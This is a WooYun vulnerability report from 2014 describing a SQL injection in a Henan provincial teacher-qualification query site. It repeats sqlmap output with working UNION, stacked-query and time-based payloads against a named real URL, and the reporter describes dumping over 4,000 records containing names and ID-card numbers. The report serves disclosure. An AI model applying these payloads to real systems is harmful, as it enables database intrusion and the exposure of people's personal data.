当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-085930

漏洞标题：某省教师资格网存在SQL注入（可泄漏个人信息）

相关厂商：cncert国家互联网应急中心

漏洞作者： ki11y0u

提交时间：2014-12-05 12:46

修复时间：2015-01-19 12:48

公开时间：2015-01-19 12:48

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：5

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-05： 细节已通知厂商并且等待厂商处理中
2014-12-10： 厂商已经确认，细节仅向厂商公开
2014-12-20： 细节向核心白帽子及相关领域专家公开
2014-12-30： 细节向普通白帽子公开
2015-01-09： 细节向实习白帽子公开
2015-01-19： 细节向公众公开

简要描述：

基于时间的POST盲注，有点纠结。

详细说明：

网址：http://cx.jszg.haedu.cn/jszgcsjgcx.aspx
打开是这样的：

TEST.jpg


看了下IP，河南省教育厅的。测试看了一下，好多库，不乱搞了，来提交吧~~~
单位名称，查询处存在POST注入，可以造成个人敏感信息泄漏。忘了截图了，上日志：

sqlmap identified the following injection points with a total of 1228 HTTP(s) requests:
---
Place: POST
Parameter: HiddenFieldYear
    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(103)+CHAR(102)+CHAR(120)+CHAR(113)+CHAR(100)+CHAR(85)+CHAR(120)+CHAR(107)+CHAR(109)+CHAR(86)+CHAR(82)+CHAR(75)+CHAR(74)+CHAR(122)+CHAR(113)+CHAR(104)+CHAR(103)+CHAR(115)+CHAR(113)-- &__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014; WAITFOR DELAY '0:0:5'--&__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014 WAITFOR DELAY '0:0:5'--&__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: HiddenFieldYear
    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(103)+CHAR(102)+CHAR(120)+CHAR(113)+CHAR(100)+CHAR(85)+CHAR(120)+CHAR(107)+CHAR(109)+CHAR(86)+CHAR(82)+CHAR(75)+CHAR(74)+CHAR(122)+CHAR(113)+CHAR(104)+CHAR(103)+CHAR(115)+CHAR(113)-- &__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014; WAITFOR DELAY '0:0:5'--&__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014 WAITFOR DELAY '0:0:5'--&__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
current user:    'chaxun'
current database:    'chaxun_haedu'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---


总共35个数据库,如图;

TEST.jpg

chaxun_haedu库下，16个表：

TEST.jpg


字段：

Place: POST
Parameter: HiddenFieldYear
    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(103)+CHAR(102)+CHAR(120)+CHAR(113)+CHAR(100)+CHAR(85)+CHAR(120)+CHAR(107)+CHAR(109)+CHAR(86)+CHAR(82)+CHAR(75)+CHAR(74)+CHAR(122)+CHAR(113)+CHAR(104)+CHAR(103)+CHAR(115)+CHAR(113)-- &__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014; WAITFOR DELAY '0:0:5'--&__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014 WAITFOR DELAY '0:0:5'--&__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
Database: chaxun_haedu
Table: ceshijieguo2014
[6 columns]
+-------------+----------+
| Column      | Type     |
+-------------+----------+
| ceshijieguo | nvarchar |
| danwei      | nvarchar |
| id          | int      |
| sfzh        | nvarchar |
| xingbie     | nvarchar |
| xingming    | nvarchar |
+-------------+----------+


dump看了一下，4K多条记录，一些个人敏感信息：

TEST.jpg


不知道其他库里有没有敏感信息，不乱搞了，我是好淫。希望尽快修复。

漏洞证明：

sqlmap identified the following injection points with a total of 1228 HTTP(s) requests:
---
Place: POST
Parameter: HiddenFieldYear
    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(103)+CHAR(102)+CHAR(120)+CHAR(113)+CHAR(100)+CHAR(85)+CHAR(120)+CHAR(107)+CHAR(109)+CHAR(86)+CHAR(82)+CHAR(75)+CHAR(74)+CHAR(122)+CHAR(113)+CHAR(104)+CHAR(103)+CHAR(115)+CHAR(113)-- &__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014; WAITFOR DELAY '0:0:5'--&__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014 WAITFOR DELAY '0:0:5'--&__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---

修复方案：

过滤过滤。

版权声明：转载请注明来源 ki11y0u@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-12-10 09:17

厂商回复：

最新状态：

暂无